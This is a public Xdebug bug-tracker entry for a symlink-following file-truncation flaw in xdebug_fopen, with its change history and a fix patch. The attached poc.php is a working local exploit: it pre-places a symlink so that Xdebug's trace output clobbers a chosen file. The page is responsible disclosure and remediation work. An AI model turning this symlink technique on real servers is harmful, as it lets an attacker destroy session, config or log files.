View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0002423 | Xdebug | Uncategorized | public | 2026-05-20 00:12 | 2026-06-08 14:36 |
| Reporter | ilia | Assigned To | derick | ||
| Priority | normal | Severity | minor | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | 3.5.1 | ||||
| Target Version | 3.5dev | Fixed in Version | 3.5.3 | ||
| Summary | 0002423: Don't follow symlinks with file creation | ||||
| Description |
Fix: | ||||
| Steps To Reproduce |
| ||||
| Tags | No tags attached. | ||||
| Attached Files | poc.php (2,881 bytes)
<?php
/* XD-005b PoC. Symlink-following file truncation in xdebug_fopen
* write path at src/lib/usefulstuff.c:432-470.
*
* Local attacker on the same output_dir pre-places a symlink at
* the trace/profile output path before xdebug writes its first
* trace. xdebug's stat() check follows the symlink, fopen("r+")
* follows the symlink, freopen("w") follows the symlink AND
* truncates -- the target file (chosen by the attacker) is
* clobbered with the trace output.
*
* Realistic targets: session files in /var/lib/php/sessions/,
* application config files, web-served content under the
* PHP-process uid, log files.
*
* Setup: deterministic version of the TOCTOU. We pre-place
* `<output_dir>/<output_name>.xt.gz` as a symlink to the victim
* file BEFORE xdebug runs. The race form replaces the file with
* a symlink between xdebug's stat() and freopen() -- same
* primitive, different timing.
*/
$xdebug_so = $argv[1] ?? '/home/ilia/xdebug/modules/xdebug.so';
$php = $argv[2] ?? '/home/ilia/php-src-8.4/sapi/cli/php';
$attacker_dir = '/tmp/xd005b-attacker';
$victim_target = '/tmp/xd005b-victim-secret';
@mkdir($attacker_dir, 0700, true);
foreach (glob("$attacker_dir/*") as $f) @unlink($f);
@unlink($victim_target);
file_put_contents($victim_target, "ORIGINAL_SECRET_CONTENT\nDO_NOT_TRUNCATE\n");
$before_size = filesize($victim_target);
$before_content = trim(file_get_contents($victim_target));
echo "victim target before:\n";
echo " size: $before_size bytes\n";
echo " content: $before_content\n\n";
$attack_link = "$attacker_dir/attack.xt.gz";
symlink($victim_target, $attack_link);
echo "pre-placed symlink:\n";
echo " $attack_link -> " . readlink($attack_link) . "\n\n";
echo "running xdebug trace:\n";
$cmd = sprintf(
'%s -d zend_extension=%s ' .
'-d xdebug.mode=trace -d xdebug.start_with_request=yes ' .
'-d xdebug.trace_format=0 -d xdebug.trace_output_name=attack ' .
'-d xdebug.output_dir=%s ' .
'-r %s 2>&1',
escapeshellarg($php),
escapeshellarg($xdebug_so),
escapeshellarg($attacker_dir),
escapeshellarg('function f(){return 1;} f();')
);
echo shell_exec($cmd);
clearstatcache();
echo "\nvictim target after:\n";
if (file_exists($victim_target)) {
$after_size = filesize($victim_target);
$after_content = file_get_contents($victim_target);
echo " size: $after_size bytes\n";
echo " content: " . trim($after_content) . "\n";
} else {
echo " REMOVED\n";
$after_content = '';
}
echo "\noutput dir layout after run:\n";
echo shell_exec("ls -la $attacker_dir/");
$clobbered = strpos($after_content, 'ORIGINAL_SECRET_CONTENT') === false;
echo "\nresult: " . ($clobbered
? "XD-005b PRESENT -- victim file content was replaced by xdebug trace data"
: "XD-005b FIXED -- victim file content preserved; trace landed elsewhere (random-suffix file)"
) . "\n";
xd005b_fix.patch (819 bytes)
diff --git a/src/lib/usefulstuff.c b/src/lib/usefulstuff.c
index 97af0b61..038f7825 100644
--- a/src/lib/usefulstuff.c
+++ b/src/lib/usefulstuff.c
@@ -429,7 +429,7 @@ FILE *xdebug_fopen(char *fname, const char *mode, const char *extension, char **
} else {
tmp_fname = xdstrdup(fname);
}
- r = stat(tmp_fname, &buf);
+ r = lstat(tmp_fname, &buf);
/* We're not freeing "tmp_fname" as that is used in the freopen as well. */
if (r == -1) {
@@ -438,6 +438,11 @@ FILE *xdebug_fopen(char *fname, const char *mode, const char *extension, char **
goto lock;
}
+ if (S_ISLNK(buf.st_mode)) {
+ fh = xdebug_open_file_with_random_ext(fname, "w", extension, new_fname);
+ goto lock;
+ }
+
/* 3. It exists, check if we can open it. */
fh = xdebug_open_file(fname, "r+", extension, new_fname);
if (!fh) {
| ||||
| Operating System | |||||
| PHP Version | 8.5.0-8.5.4 | ||||
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2026-05-20 00:12 | ilia | New Issue | |
| 2026-05-20 00:12 | ilia | File Added: poc.php | |
| 2026-05-20 00:12 | ilia | File Added: xd005b_fix.patch | |
| 2026-05-20 16:57 | ilia | Description Updated | |
| 2026-05-20 16:57 | ilia | Steps to Reproduce Updated | |
| 2026-05-20 16:57 | ilia | Description Updated | |
| 2026-05-20 16:58 | ilia | Description Updated | |
| 2026-05-27 17:06 | derick | Status | new => assigned |
| 2026-05-27 17:06 | derick | Product Version | => 3.5.1 |
| 2026-05-27 17:06 | derick | Target Version | => 3.5dev |
| 2026-05-27 17:06 | derick | Summary | Symlink-following truncation in xdebug_fopen write path (lib/usefulstuff.c) => Don't follow symlinks with file creation |
| 2026-05-27 17:06 | derick | Note Added: 0007501 | |
| 2026-05-28 14:54 | derick | Assigned To | => derick |
| 2026-05-28 14:54 | derick | Status | assigned => closed |
| 2026-05-28 14:54 | derick | Resolution | open => fixed |
| 2026-05-28 14:54 | derick | Fixed in Version | => 3.5dev |
| 2026-06-08 13:44 | derick | View Status | private => public |
| 2026-06-08 14:28 | derick | Fixed in Version | 3.5dev => 3.5.2 |
| 2026-06-08 14:36 | derick | Fixed in Version | 3.5.2 => 3.5.3 |